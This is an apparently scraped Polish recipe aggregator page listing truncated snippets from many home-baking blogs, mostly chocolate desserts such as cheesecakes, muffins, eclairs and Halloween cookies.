mnie się tego święta nie obchodzi. W sumie nie nazwałabym tego nawet świętem... Bądź co bądź dzisiaj pomysł na wykorzystanie wczorajszych ciastek orzechowych z czekoladą >> halloweenowe szczeki. Wyglądają obrzydliwie, co w tym momencie jest ich atutem :-). Pomysł zaczerpnęłam z tej strony . Mnie niestety nie udało się kupić mini pianek Marshmallows, więc zastąpiłam je galaretkami w cukrze(...)szczypta soli 1 jajko 1 łyżka gęstego jogurtu naturalnego 1/2 łyżeczki sody oczyszczonej 1/2 łyżeczki proszku do pieczenia 1 szkl mąki pszennej 60 g zmielonych orzechów włoskich 100 g czekolady z kawałkami orzechów, pokrojonej na kawałki Dodatkowo: ulubiony krem, np. budyniowy czerwony barwnik spożywczy słupki migdałowe lub fistaszki mini pianki Marshmallows (mnie nie udało się ich znaleźć, więc zastąpiłam

Nastoletnie Wypiekanie
straszne ciasteczka na Halloween 138

ciasto kruche: 150 g mąki  100 g masła 50 g cukru pudru 2 żółtka szczypta soli  do dekoracji: biała masa cukrowa czekoladowe jajeczka (kilka) lukier 3 kostki czekolady całe migdały łyżka czerwonego dżemu czarny pisak cukierniczy Składniki ciasta posiekać a następnie szybko zagnieść. Owinąć w folię i wstawić na pół godziny do lodówki. Schłodzone ciasto rozwałkować. Z części(...)dużymi kawałkami jajeczek formując duszki. Pisakiem narysować im oczy i usta. Mniejsze kółeczka z masy cukrowej przykleić lukrem do reszty okrągłych ciasteczek i pisakiem narysować na nich pajęczynę. Czekoladę rozpuścić nad parą i przełożyć do woreczka, delikatnie odciąć samą końcówkę. Wycisnąć czekoladę na ciastka z połówkami jajek, tak, żeby wyglądały jak nogi pająka. Lukrem narysować pająkom oczy.  Z masy

Domowa Cukierenka-Domowa Kuchnia
Mini Eklerki Z Delikatnym Kremem Budyniowym - Krok Po Kroku 153

jajek Krem budyniowy: 500 ml mleka 1 budyń waniliowy bez cukru 1 łyżka mąki ziemniaczanej 1/3 szkl cukru 2 żółtka 150 ml śmietanki kremówki 30 % Polewa czekoladowa 100 gr czekolady deserowej/mlecznej + 2 łyżki masła ( około 50 gr ) 1. W garnku zagotowujemy wodę z cukrem i masłem/margaryna. 2. Na gotująca się wodę wsypujemy szklankę mąki i energicznie mieszamy aby się(...)budyniem. Następnie krem chowamy do lodówki do stężenia. 8. Eklerki przekrawamy w połowie i nadziewamy kremem budyniowym. Krem najlepiej przełożyć do szprycy i tak nadziewać. Na koniec polewamy czekoladą ( czekoladę roztapiamy w kąpieli wodnej z dodatkiem 2 łyżek masła ) Smacznego

Gotowanie...to proste !
Jabłka pieczone, z serowym nadzieniem 215

miąższu, a to co wybraliśmy – zjadamy. Jabłka posypujemy w środku przyprawą do piernika i cynamonem. Na dno każdej jabłkowej miseczki wkładamy po łyżeczce czekoladowego kremu (lub kostkę dowolnej czekolady). Serki rozdzielamy po równo, do każdego jabłka, zachowując jednocześnie około centymetra wolnej przestrzeni od góry w każdym napełnionym jabłku. Serek ma w sobie sporo wody, będzie buzował podczas pieczenia(...)chcemy żeby wypłynął. Na wierzch serka kładziemy po łyżeczce borówek – lekko kwaskowe, lekko gorzkie, są fajnym przełamaniem dla słodyczy serka i czekolady, a dodatkowo dają trochę koloru. Posypujemy nadzienie cynamonem i przyprawą do piernika. Skórkę jabłek delikatnie i równomiernie dziurawimy w kilku miejscach ostrym widelcem (świetnie sprawdzi się widelczyk do ciasta). Gotowe nadziane jabłka rozkładamy w głębokiej blaszce do pieczenia

Karo in the Kitchen
imprezowe sówki 148

najlepiej kakaowych lub czekoladowych 12 okrągłych ciasteczek z białym nadzieniem 16 szt. kolorowych cukiereczków a la lentilki (trzy przekrawamy na pół /dzióbki/) ok. 50 – 100 g roztopionej czekolady wykonanie: Każde ciasteczko rozdzielamy na dwie części (z białą masą i bez). Dwa ciasteczka z masą przyklejamy za pomocą czekolady do muffinki. Ciasteczka bez masy przekrawamy na pół(...)powstały „brwi”) i przyklejamy za pomocą czekolady nad ciasteczkami z masą. Na każdym ciasteczku z masą przyklejamy po jednym cukierku (tak powstały oczy). A poniżej ciasteczek z masą, pomiędzy, przyklejamy połówki cukiereczka (dzióbek

Domowy Smak Jedzenia
Deser z pysznymi ciasteczkami 138

orzechy włoskie już bez łupinek z 3 garście Hawajki w polewie czekoladowej mlecznej 7 szt   herbatniki kakaowe 7 szt orzechy kakao słodkie do posypania deser czekolada wiórki różowa,zielona , żółta do posypania deseru   Wykonanie: Herbatniki blender-ujemy i wsypujemy do szklaneczek . Śmietanę ubijamy z ksylitolem i nakładamy łyżką na zblenderowane herbatniki.Posypujemy orzechami włoskimi i wkładamy obrane mandarynki(...)skórki oraz winogron obrany ze skórki i wypestkowany.Na to idzie znowu śmietana,owoce kolorowe wiórki z czekolady i posypujemy słodkim kakao lub czekoladą w proszku.Hawajki lekko wciskamy w śmietanę z boku obok owoców i do schłodzenia na jakieś 30 minut do lodówki. Deser smakuje wybornie ,a i wygląda bardzo smacznie. Zachęcam do zrobienia

Różowa kuchnia
Sernik z musem czekoladowym 382

łyżki likieru Amaretto lub innego aromatu (można tez wykorzystać np. aromat waniliowy do ciast lub zwykły cukier wanilinowy) Mus czekoladowy 300 ml śmietanki kremówki 36% ok. 200-250 g czekolady gorzkiej (można dodać pół na pół z czekoaldy mlecznejj) rum do smaku (opcjonalnie) Przygotowanie   1. Sernik. Piekarnik nagrzać do 170 stopni. Dno tortownicy wyło ż yć krążkiem z papieru(...)wstawic do lodówki bez obręczy (by sernik mogł całkowicie odparować). 2. Mus czekoladowy. Śmietankę podgrzać i zdjąć z gazu gdy zacznie wrzeć. Do śmietanki wrzucić połamaną na mniejsze kawałki czekoladę, energicznie mieszać do momentu rozpuszczenia czekolady. Ostudzić, schować do lodówki na ok. 30 minut (aż masa zgęstnieje). Nastepnie ubijać przez ok. 3-4 minuty aż masa nieco zjaśnieje, można dolać

coolinarnastrefa.blogspot.com
CZEKOLADOWE CIASTO Z BURACZKAMI 193

pszennej (o poj. 250 ml) 1 łyżeczka proszku do pieczenia, ¾ szkl. cukru, 200 g buraczków startych na tarce o grubych oczkach, 3 jajka, 150 ml oleju, 100 g gorzkiej czekolady, ¼ szkl. ciemnego kakao Polewa: 3 łyżki margaryny, 3 łyżki mleka, 3 łyżki cukru, 3 łyżki kakao, 1 łyżka śmietany 18% Dekoracja:  liście czekoladowe , wiórki czekoladowe   WYKONANIE Ciasto(...)miski przesiewamy mąkę, kakao i proszek do pieczenia. Czekoladę siekamy nożem. Jajka ubijamy z cukrem w oddzielnej misce, dodajemy olej, mieszamy. Następnie dodajemy sypką mieszankę, delikatnie miksujemy. Na końcu dodajemy posiekaną czekoladę i buraczki, mieszamy łyżką. Gotową masę przekładamy do formy o wym. 25X21 cm wyłożonej pergaminem, pieczemy ok. 45-50 min w 175 stopniach, do suchego patyczka. Wystudzone ciasto

słodki bratek
Ciasteczka z mikrofalówki 417

ciastka, jedna różnica polega na tym, że nie pieczemy ich w piekarniku, a podgrzewamy w mikrofalówce. Bardzo kruche i maślane. Możecie do nich dodać ulubione składniki takie jak czekolada, rodzynki itp. Polecam!     Składniki: (na ok. 20 sztuk)   240 g mąki pszennej 100 g zimnego masła 1 jajko 80 g cukru pudu 1 łyżka cukru trzcinowego(...)łyżeczki sody oczyszczonej kilka kropel aromatu waniliowego posiekana czekolada, orzechy, bakalie itp. ilość wedle uznania, można pominąć      Przygotowanie:   Zimne masło posiekać z pozostałymi składnikami do uzyskania ciasta a'la kruszonka. Teraz dodać ulubione dodatki (czekoladę, bakalie, orzechy itp.) Następnie kruszonkę zagnieść rękami na jednolitą kulę. Ciasto od razu rozwałkować na grubość

Nastoletnie Wypiekanie
Kremowe ciasto z wiśniami 134

Calibri; mso-hansi-theme-font:minor-latin; mso-fareast-language:EN-US;} Jak dla mnie ciasto idealne. Puszysty biszkopt, kremowa masa, lekki aromat alkoholu oraz rozpływająca się w ustach czekolada. Było tak pyszne, że nie udało mi się zrobić więcej zdjęć :) Normal 0 21 false false false PL X-NONE X-NONE /* Style Definitions */ table.MsoNormalTable {mso-style-name:Standardowy(...)kontrolować ciasto, piekarniki różnie pieką. Wymiary blaszki 37x25cm Masa do przełożenia: 500ml śmietany kremówki 36% 500g serka mascarpone 2 łyżeczki cukru pudru 3 łyżki nutellii Polewa: 1 gorzka czekolada 100g u mnie Goplana 100ml śmietanki kremówki Dodatkowo: wydrążone wiśnie. U mnie owoce pochodzą z wcześniej robionej nalewki. Wykonanie: Śmietanę ubić na sztywno z cukrem pudrem, osobno rozprowadzić serek z nutellą

W garach u Gosi
Orkiszowe ciasteczka z nasionami 184

ciasteczka. Przepis powstawał w trakcie ich przygotowania i muszę powiedzieć, że się udało. Ciasteczka wyszły kruche, nie za słodkie i chrupiące a uwieńczeniem smaku jest polewa z gorzkiej 60% czekolady. Składniki: 250g masła 250g mąki pełnoziarnistej z orkiszu Basia 150g mąki pszennej tortowej Basia 3 łyżki płatków owsianych 3 łyżki musli błonnikowe z kokosem 3 łyżki siemię lniane 3 łyżki(...)rodzynek 3 łyżki nasion dyni 3 spore łyżki naturalnego miodu, płynnego 2 jajka 2 łyżeczki proszku do pieczenia Szczypta soli Opcjonalnie-sezam do obtoczenia brzegów ciastek, gorzka czekolada 60% Wykonanie: Piekarnik nagrzać do 180 stopni Masło w misce posiekać z mąką, miodem, solą, proszkiem do pieczenia oraz jajkami. Następnie zagniatając ciasto dodać nasiona oraz rodzynki. Ciasto będzie lekko klejące

W garach u Gosi
Popękane ciasteczka 139

Popękane ciasteczka nie tylko ciekawie się prezentują ale również super smakują, dla wszystkich miłośników czekolady :) Składniki: - 200 g gorzkiej czekolady - 3 jajka - 100 g masła - 2/3 szklanki cukru - 1 łyżeczka ekstraktu waniliowego - 1/2 łyżeczki proszku do pieczenia - 1 i 2/3 szklanki mąki pszennej - cukier puder Przygotowanie: Masło z czekoladą rozpuszczamy w kąpieli wodnej i odstawiamy do wystygnięcia. Białka ubijamy

Zainspirowana w kuchni
sernik w orzechowo-rumowym kremie 1308

Aksamitny, puszysty sernik otulony orzechowo-rumowym kremem, kakaowym biszkoptem i orzechową czekoladą. Mięciutki, leciutki, po prostu idealny.  *foremka 25*34 cm Składniki: na biszkopt: 4 jajka 3/4 szklanki mąki 1 szklanka cukru 1.4 szklanki kakao 1 łyżeczka proszku do pieczenia na sernik: 600 g sera na sernik 6 jajek 3/4 szklanki cukru pudru 1 opakowanie budyniu waniliowego(...)stopionego masła na krem:  750 ml mleka 2 opakowania budyniu waniliowego 2 łyżki cukru 50 ml rumu 1/2 szklanki startych orzechów włoskich dodatkowo: 150 g czekolady mlecznej z orzechami 2 łyżki mleka 1/2 szklanki posiekanych orzechów włoskich Orzechy starte do kremu wymieszać z rumem i zamknąć w szczelnym pojemniku co najmniej na godzinę.  Upiec biszkopt: białka oddzielić

Domowa Cukierenka-Domowa Kuchnia
Czeko -kubki . 132

zwykłe babeczki ,a my chcemy niezwykłe – z płynnym środkiem .Robię je 3 raz w tym tygodniu – ciiiii. Składniki : na 4 kokilki 125 g masła 140 g gorzkiej czekolady 2 jajka 2 łyżki cukru brązowego – jeśli lubicie bardzo słodko może być więcej. 2 łyżki mąki orkiszowej ,może być pszenna . Roztopić masło .W mikrofalówce rozpuścić czekoladę i połączyć(...)masłem – przestudzić . Białka ubić na sztywną pianę ,dodając po łyżce cukier ,następnie żółtka .Teraz wlewamy masło z czekoladą i mieszamy łyżką do połączenia się masy .Na koniec dodajemy mąkę i mieszamy delikatnie do połączenia się składników.Masę przelewamy do kokilek – mają być pełne i pieczemy je w piekarniku nagrzanym do 190 stopni przez około 8 ,9 minut. Boki

Ladylaura.
Bulki z nadzieniem dyniowym i czekolada czyli Slodki Czwartek odc.115 155

zrobiłam krem, który stał się nadzieniem bułeczek., Słodko, korzennie i energetycznie. Bombowo! Przepis na krem i bułeczki zaczerpnęłam z super bloga Codojedzenia.pl Bulki z nadzieniem dyniowym i czekolada 24 bułeczki: 700 g pszennej mąki 35 g świezych drożdży 500 ml ciepłego mleka 150 g cukru 1 łyżka cynamonu 80 g rozpuszczonego masła 1 jajko + 1 jajko do posmarowania(...)łyżeczka soli 300 g dyniowego kremu (przepis poniżej) 200 g gorzkiej czekolady Drożdże rozpuszczamy w ciepłym mleku. Dodajemy cukier, mąkę i zagniatamy ciasto. Następnie dodaj jajko cały czas zagniatając ciasto. Dodajemy rozpuszczone masło z cynamonem i dalej zagniatamy. Ciasto powinno być elastyczne, lekko lepkie. Przykrywamy i odstawiamy w ciepłe miejsce na 40 minut. Po tym czasie wyjmujemy ciasto na oprószoną

Dzieje kuchennej Wiewióry
Sernik z Kulkami Orzechowymi 482

łyżki cukru pudru 1 łyżka cukru waniliowego 2 łyżki kwaśnej śmietany 18%   Składniki łączymy razem. Formujemy kulki. Układamy na wyłożonej ciastem formie.   Czekoladowe ganache: 200 g gorzkiej czekolady 150 ml śmietany kremówki   Śmietankę podgrzewamy do wrzenia. Zdejmujemy z palnika. Wrzucamy połamaną czekoladę. Odstawiamy na 2 minuty. Po tym czasie mieszamy, do rozpuszczenia się czekolady. Odstawiamy do ostygnięcia

Made By Mom And Son
Bezglutenowe ciastka dla dzieci! 132

domowe. Dlatego dzisiaj taki kompromis, ciastka, które możecie wykonać ze swoimi pociechami, robi się je bardzo prosto. Do wypieku wykorzystałam mąki bezglutenowe, suszoną żurawinę i to co dzieciaki uwielbiają czekoladę na gorąco. Ciasteczka są dwuwarstwowe, dość spore, i bardzo smaczne. Dzięki zastosowaniu mąk bez glutenu nabrały jeszcze dodatkowej kruchości. Polecam szczerze! Sama radocha ;-))) SKŁADNIKI: - 250 g masła z lodwóki (jeśli(...)mąki kukurydzianej - 150 g mąki owsianej  - 2 jajka - 4 łyżki miodu - 2 łyżki cukru pudru - 1 łyżeczka czubata proszku do pieczenia PONADTO: - 3/4 szklanki żurawiny suszonej - 2 łyżki czekolady na gorąco -proszek - jajko do posmarowania - mąka owsiana do podsypywania WYKONANIE: Masło, mąki, proszek do pieczenia, jajka, miód i cukier zagniatamy szybko w jednolite i gładkie ciasto. Dzielimy na dwie

SMYKWKUCHNI
SERNIK CHAŁWOWY BEZ PIECZENIA 203

śmietany kremówki 36% 300g chałwy waniliowej 7 łyżek cukru pudru 5 łyżeczek żelatyny (następnym razem wezmę 6 - masa będzie bardziej ściągnięta) 70 ml wody Dodatkowo: kilka kostek roztopionej czekolady Wykonanie: W dniu poprzedzającym robienie sernika, kremówkę podgrzewamy  w garnuszku uważając, aby nie doprowadzić jej do wrzenia. Do ciepłej śmietany dodajemy posiekaną chałwę, i mieszamy do jej maksymalnego rozpuszczenia(...)połączenia się składników.  Masę przelewamy  na schłodzony wcześniej spód ciasteczkowy i wkładamy do lodówki najlepiej na kilka godzin. Po wyjęciu z lodówki sernik ozdabiamy dowolnie np. roztopioną czekoladą lub czekoladą startą na tarce wg własnej inwencji

Walijskie Pichcenie
Potrójnie orzechowy piernik! 107

niecałe pół szklanki) 10 g mąki z migdałów łyżka masła orzechowego kremowego Felix łyżeczka przyprawy korzennej pół łyżeczki proszku do pieczenia 2 łyżki cukru pudru trzcinowego duża kostka mlecznej czekolady (ok.10 g) siekane migdały masło do natłuszczenia formy Persymonę zmiksować na mus w blenderze. Dodać jajka, proszek do pieczenia, cukier puder, masło orzechowe i ponownie zmiksować. Na koniec dodać przesianą(...)mąkę, przyprawę korzenną i zmielone migdały. Czekoladę posiekać i również dodać do masy. Piekarnik rozgrzać do 190 stopni. Ciasto przełożyć do natłuszczonego naczynia i posypać siekanymi migdałami. Piec ok. 30 minut w 190 stopniach, po tym czasie wyjąć, ostudzić i podawać. Smacznego! Inne przepisy z masłem orzechowym znajdziesz na: http://www.felixpolska.pl/przepisy *** Zapewne większość z Was wie, że masło orzechowe

Poranek na słodko
Podwójnie czekoladowe płatki owsiane na mleku. 84

Podwójnie* czekoladowa owsianka z mieszanką ziaren z malinami Verival,  bananem, prażonymi orzechami włoskimi i pestkami granatu PRZEPIS ----> * gotowana na czekoladowym mleku sojowym z paskiem mlecznej czekolady PODWÓJNIE CZEKOLADOWA OWSIANKA /przepis własny/ 55 g płatków owsianych (u mnie mocno chłonne) 10 g mieszanki ziaren z malinami 450 ml czekoladowego mleka czekoladowego (mniej, jeśli macie np. płatki górskie) szczypta soli(...)pasek mlecznej czekolady Do rondelka z gotującym się mlekiem wsypać płatki i ziarna. Gdy zaczną się gotować, od czasu do czasu zamieszać, żeby gęstniejąca masa nie przywarła do dna. Gotować około 4 minut na małym ogniu lub do zgęstnienia. Po tym czasie dodać pasek czekolady i cały czas mieszać. Gotować jeszcze około minuty, po tym czasie lekko ostudzić i przelać

Poranek na słodko
Czekoladowy krem jaglany. 99

podany z serkiem naturalnym, malinami, plastrami kokosa i smakołykiem z suszonych fig, daktyli, moreli, migdałów oraz pomarańczy CZEKOLADOWY KREM JAGLANY /PRZEPIS WŁASNY/ 70 g płatków jaglanych 150 ml czekolady do picia Van Houten 250 ml mleka kokosowo - czekoladowego szczypta soli kilka kropli ekstraktu waniliowego 2 łyżki gorzkiego kakao 2 łyżki syropu z kwiatu kokosa 3 łyżki przecieru z mango(...)rondelka z gotującym się mlekiem wsypać płatki. Dodać szczyptę soli, ekstrakt, czekoladę i syrop. Gdy zaczną się gotować, od czasu do czasu zamieszać, żeby gęstniejąca masa nie przywarła do dna. Gotować około 4 minut na małym ogniu lub do zgęstnienia. Po tym czasie dodać kakao i zamieszać. Gotować jeszcze około minuty, a następnie  dodać przecier i przelać do miseczki

Poranek na słodko
Brownie z serem i truskawkami 168

brownie, sernik z dodatkiem mleka skondensowanego i truskawki. Zmodyfikowana wersja sernika ze strony kwestiasmaku.com . Mus truskawkowy: 300 g truskawek (świeżych lub mrożonych) 2 łyżki cukru Brownie: 200 g gorzkiej czekolady 200 g masła 3 jajka 200 g cukru 120 g mąki pszennej Masa serowa: 500 g twarogu trzykrotnie zmielonego (lub gotowego sera do serników) 150 g mleka skondensowanego słodzonego(...)jajka 1 łyżeczka aromatu waniliowego Truskawki umyć i osuszyć. Usunąć szypułki. Włożyć do małego garnka i dodać cukier. Gotować na małym palniku do zagęszczenia (około 40-45 minut). Czekoladę rozpuścić z masłem na małym palniku. Odstawić do przestudzenia. Jajka zmiksować z cukrem na jasną masę. Wymieszać z czekoladą. Na koniec dodać mąkę i mieszać na niskich obrotach miksera do czasu

Bullio
Tarta z musem czekoladowym 158

się przy wyjmowaniu z normalnej formy. Spód: 3/4 szklanki cukru pudru 220 g miękkiego masła 2 szklanki mąki pszennej szczypta soli Mus czekoladowy: 150 g masła 100 g mlecznej czekolady 50 g gorzkiej czekolady 4 jajka 3 łyżeczki kakao 120 g cukru 2 łyżeczki żelatyny + 3 łyżki wody Dodatkowo: garść orzechów włoskich Masło (w temperaturze pokojowej) zmiksować na jasną masę(...)wyjmowanym dnem). Piec ok. 20 minut w temperaturze 180°C. Wyjąć z piekarnika i ostudzić. W czasie kiedy ciasto się chłodzi, przygotować mus czekoladowy. Masło rozpuścić w garnku z czekoladą (mleczną i gorzką). Odstawić do przestudzenia. Oddzielić żółtka od białek. Białka ubić na sztywną pianę. Pod koniec miksowania dodać cukier. Odstawić do lodówki. Żelatynę rozpuścić w 3 łyżkach gorącej wody

Bullio
Tort z musem jabłkowym i bitą śmietaną 174

masą, tort robi się sam - automatycznie :) Tort składa się z 3 cienkich krążków biszkoptu nasączonego słabą herbatą z cukrem, przełożony musem jabłkowym i bitą śmietaną, udekorowany wiórkami białej czekolady. Zapraszam na pyszny, bardzo prosty biały tort w sam raz na środek sezonu jabłkowego:) Polecam serdecznie! Tort z musem jabłkowym i bitą śmietaną tortownica 23- 24 cm Biszkopt: 4 jajka(...)śmietany 30% schłodzonej w lodówce 1/2 szkl. cukru pudru Nasączenie: 1/3 szkl. słabej przestudzonej herbaty z cukrem (może być zielona bez dodatków smakowych) Oraz: około 1 pasek białej czekolady (4 kratki) Biszkopt: Piekarnik nastawić na 170°C . Tortownicę wyłożyć tylko na dnie papierem do pieczenia. Jeśli wybierzemy tortownicę 24 cm , blaty będą cieńsze, niż jakbyśmy piekli w formie

Posadzone i zjedzone
Szafranowy chlebek gryczany z dynią i bananem 114

Ostatnio zaproponowałam Wam Korzenny chlebek cukiniowy z lawendą , dziś mam dla Was kolejny nietypowy wypiek. Nie dość, że chlebek dyniowo- bananowy to gryczany i w dodatku z szafranem. Polany czekoladą i migdałami. Bez glutenu. Byłby idealny gdybym nie zapomniała przez chwilę o jego istnieniu w momencie kiedy rumienił się w piekarniku, przez co odrobinę się wysuszył. Poprawię to następnym razem(...)gram puree z dyni 140 gram rozpuszczonego masła 1/3 szklanki cukru 1 jajko 1 łyżeczka sody szczypta soli szczypta szafranu 1 i 1/2 szklanki mąki gryczanej polewa: 100 gram czekolady, płatki migdałów Banany miksuję z puree, masłem i jajkiem na gładką masę. Do miski przesiewam mąkę i sodę. Mieszam z cukrem, solą i szafranem. Składniki mokre mieszam z suchymi

Mango Papaja
Ciasto czekoladowe 83

tego bardzo szybkie  w przygotowaniu i idealne do popołudniowej kawki. Co więcej jest to jej pierwsze ciasto, więc nie ma prawa nie wyjść :) Składniki: 300 g gorzkiej czekolady 200 g masła 200 g cukru 4 jajka 1 łyżeczka proszku do pieczenia 150 g mąki 1 łyżeczka esencji waniliowej 150 g łuskanych orzechów włoskich Sposób przygotowania: Orzechy miażdżymy w moździerzu(...)Czekoladę z masłem rozpuszczamy w kąpieli wodnej (jeden garnek umieszczamy w drugim większym z wrzącą wodą). Jajka ucieramy z cukrem i powoli mieszając dodajemy kolejno czekoladę rozpuszczoną z masłem, esencję waniliową, mąkę, proszek do pieczenia i zmiażdżone orzechy. Wszystkie składniki dokładnie mieszamy. Przygotowane ciasto przelewany do foremki wysmarowanej masłem i pieczemy ok. 30 minut w rozgrzanym do 180 st. piekarniku

Z notatnika
Kremowa pianka z truskawkami i galaretką 115

ostygnięcia po czym przecinamy na dwa krążki.  Do tego ciasta użyłam tylko jeden krążek ciasta,drugi wykorzystałam robiąc inne. masa: 500 ml śmietanki 36% 150 g białej czekolady 2 łyżeczki żelatyny ponadto: 2 galaretki truskawkowe ok. 500 g truskawek  Czekoladę rozpuszczamy w kąpieli wodnej. Śmietanę ubijamy na sztywno,wlewamy przestudzoną czekoladę,miksujemy i na koniec dodajemy płynną żelatynę

Kolorowa kuchnia Elki
Torcik truskawkowo-jogurtowy 151

truskawkami,dodajemy płynną żelatynę,masę wylewamy na biszkopt,który obowiązkowo umieszczamy w tortownicy,wkładamy do lodówki do stężenia. masa śmietanowa (biała warstwa): 500 ml śmietanki 36% 150 g białej czekolady 2 łyżeczki żelatyny ponadto: kilka truskawek do dekoracji Czekoladę rozpuszczamy w kąpieli wodnej. Śmietanę ubijamy na sztywno,wlewamy przestudzoną czekoladę,miksujemy i na koniec dodajemy płynną żelatynę. Masę śmietanową wylewamy

Kolorowa kuchnia Elki
Jaglane placuszki z ricottą, żurawiną i gorzką czekoladą 138

ostatnio poeksperymentować z różnymi mąkami. Zakupiłam kilka nawet już. Pierwsza poszła na próbę jaglana, którą zastąpiłam zwykłą mąkę i zrobiłam te oto placuszki. Dodałam ricottę, żurawinę i startą gorzka czekoladę. Placuszki wyszły bardzo smaczne, na śniadanko do  konfitury, dla dzieci super. Mój młody był bardzo zadowolony, bo takie śniadanko dla niego  to ula la :-). Z podanych proporcji wyszło(...)serka ricotta 1 szklanka mąki jaglanej 2 jajka 1/2 szklanki mleka 4 łyżeczki cukru trzcinowego 1 łyżeczka proszku do pieczenia cynamon (ilość wedle uznania) żurawina (ilość wedle uznania) gorzka czekolada (ilość wedle uznania) olej kokosowy do smażenia Białka oddzielamy od żółtek. Białka ubijamy ze szczyptą soli na sztywną pianę. Do drugiej miski dajemy żółtka, serek, mąkę wymieszaną z proszkiem

kruche babeczki
Mus gruszkowy. 232

przyjąć w swoje wnętrze coś bezalkoholowego. Tak raz na jakiś czas ;) Mus gruszkowy jest świetną zawartością takiego kieliszka. Jest bardzo prosty, naturalny i nieprzekombinowany. Fajnie miesza się z gorzką czekoladą, która musi być ciepła i dodana tuż przed podaniem. Kandyzowane plasterki gruszki mogą wydawać się w tym zestawieniu najtrudniejszym elementem, ale to pozór. Ich produkcja to sympatyczna zabawa i można(...)wiadomo komu, bo bardzo chciałem przeczytać coś w rodzaju wow ! ;);) Składniki: 1 kg dojrzałych małych gruszek 1 łyżka miodu 2 łyżki soku z cytryny 1/2 tabliczki gorzkiej czekolady kilka orzechów włoskich 2 łyżki cukru 2 łyżki wody Wykonanie: Przygotować kandyzowane plasterki gruszki: Cukier i wodę umieścić w rondelku, wymieszać, zagotować i zdjąć z ognia. Wybrać 3 - 4 gruszki i pokroić

zadanie-gotowanie
Jagodzianki w polewie kawowo czekoladowej 169

drożdże świeże 30 g ksylitol zmielony 6 łyżek Kłos Pol jaja 2 szt mleko 1 szklanka masło 100 g Polewa: kawa rozpuszczalna 2 łyżki woda 4 łyżki czekolada mleczna 200 g wiórka cytrynowe z czekolady do udekorowania jagodzianek Krok 1 Do misy wsypujemy przesianą mąkę robimy w niej dołek.Drożdże wsypujemy do kubka zalewamy ciepłym mlekiem( połowę kubka) i dodajemy(...)smarujemy je rozbełtanym jajem, pieczemy w 170 stopniach 20 minut. Krok 3 Do szklanki wsypujemy kawę rozpuszczalna zalewamy ją wrzątkiem i mieszamy do rozpuszczenia. Przelewamy do garnuszka i dodajemy czekoladę, całość mieszamy do połączenia. Ostudzone jagodzianki polewamy polewą. Pyszne, przysmak dla kawoszy i nie tylko.         Biorę udział w akcji Ciasto na Niedziele .  Wypiekały ze mną

Różowa kuchnia
Orkiszowe bułeczki z czekoladą 122

tych bułeczek było dla mnie niesamowite. Gdy pierwszy raz je upiekłam, zjedliśmy prawie wszystkie w ciągu kilku minut. Przeżyła jedna - została zjedzona następnego dnia rano. Była równie pyszna, aczkolwiek czekolada nie była już płynna. Do wykonania użyłam formy wielkanocnej w  kształcie jajek - kupiłam ją parę dni temu w Kauflandzie za 7,50zł. Możecie użyć formy na muffinki lub upiec(...)suchych drożdży 2 łyżeczki cukru trzcinowego (może być biały) szczypta soli himalajskiej (może być zwykła, ale nie polecam :) ) 2 kopiaste łyżki oleju kokosowego (może być masło) 18 kostek czekolady Jajka roztrzepujemy z mlekiem. Wszystkie pozostałe składniki mieszamy razem lub wyrabiamy mikserem z końcówką hak. Dodajemy mleko z jajkami i ponownie wyrabiamy około 5 minut. Gotowe ciasto przykrywamy ściereczką i odstawiamy

Gotowanie i blogowanie
Ciasto ze śliwkami 170

goście na pewno będą tym wypiekiem zachwyceni. Przepis na tortownicę o średnicy 26 cm. Składniki:  20 dag masła 15 dag cukru szczypta soli 4 jajka 10 dag gorzkiej czekolady 10 dag płatków migdałowych 15 dag mąki budyń czekoladowy łyżeczka proszku do pieczenia ok. 10 śliwek 2 łyżki powideł śliwkowych Sposób przygotowania: Mąkę mieszamy z proszkiem do pieczenia, budyniem, szczyptą(...)soli. Czekoladę ścieramy na tarce Masło ucieramy z cukrem. Powoli dodajemy jajka. Dosypujemy sypkie składniki. Dokładnie łączymy przy użyciu miksera. Płatki migdałowe siekamy (garść odkładamy do dekoracji). Dodajemy do ciasta razem z czekoladą. Mieszamy. Śliwki przekrawamy na pół. Wykładamy na ciasto. Pieczemy w 180 stopniach C przez ok. 40 minut. Jeszcze ciepłe smarujemy powidłami, posypujemy płatkami. źródło: przepis własny Ilość

Pobite gary Barbary
KAKAOWE MUFFINKI Z CUKINIĄ 135

Muffinki te są wilgotne, z kawałkami czekolady, a całość wieńczą posiekane orzechy. Z kubkiem gorącej kawy bądź herbaty smakują rewelacyjnie, więc na jednej muffince się nie skończy. SKŁADNIKI 1 szkl. cukinii startej na dużych oczkach, 2 szkl. mąki, ¾ szkl. cukru, 2 jajka, 1/3 szkl. oleju, 2 łyżki jogurtu naturalnego, 2 łyżki kakao, ½ łyżeczki cynamonu, 1 łyżeczka proszku do pieczenia, ½ szkl(...)posiekanych orzechów włoskich, ½ tabliczki gorzkiej czekolady polewa czekoladowa WYKONANIE Mąkę mieszamy z kakao, cynamonem, proszkiem do pieczenia oraz cukrem. W 2 misce łączymy jajka z jogurtem oraz olejem, roztrzepujemy dodajemy suche składniki oraz cukinię, mieszamy łyżką, dodajemy posiekaną czekoladę. Gotową masę przekładamy do foremek na muffiny, posypujemy orzechami. Pieczemy ok. 20 -25 min w temp. 180 stopni. Dodatkowo możemy polać

słodki bratek
Muffiny z gruszkami i czekoladą 196

Szybki, smaczny i aromatyczny wypiek na dziś to muffinki z gruszką i czekoladą - słodka propozycja z wykorzystaniem owoców sezonowych. Przepis na 12 sztuk: Składniki suche: 3/4 szkl. cukru (lub 1/2 dla mniej słodzących) 2 szkl. mąki (np. tortowa typ 550) 2 łyżeczki proszku do pieczenia Składniki mokre: 2 jajka (roztrzepane) 3/4 szkl. mleka 1/2 szkl. oleju kilka kropli aromatu(...)waniliowego 3 gruszki 8 kostek gorzkiej czekolady Piekarnik nagrzać do temperatury 190°C. Formę na muffiny (na 12 sztuk) wykładamy papilotkami. Gruszki obrać i pokroić w kostkę. W jednej misce mieszamy (łyżką) składniki suche a w drugiej (widelcem) składniki mokre. Wymieszane składniki mokre wlewamy do miski z suchymi i mieszamy (łyżką) tylko do momentu

Alutka-Gotuje
GORĄCA CZEKOLADA Z NUTĄ POMARAŃCZY 213

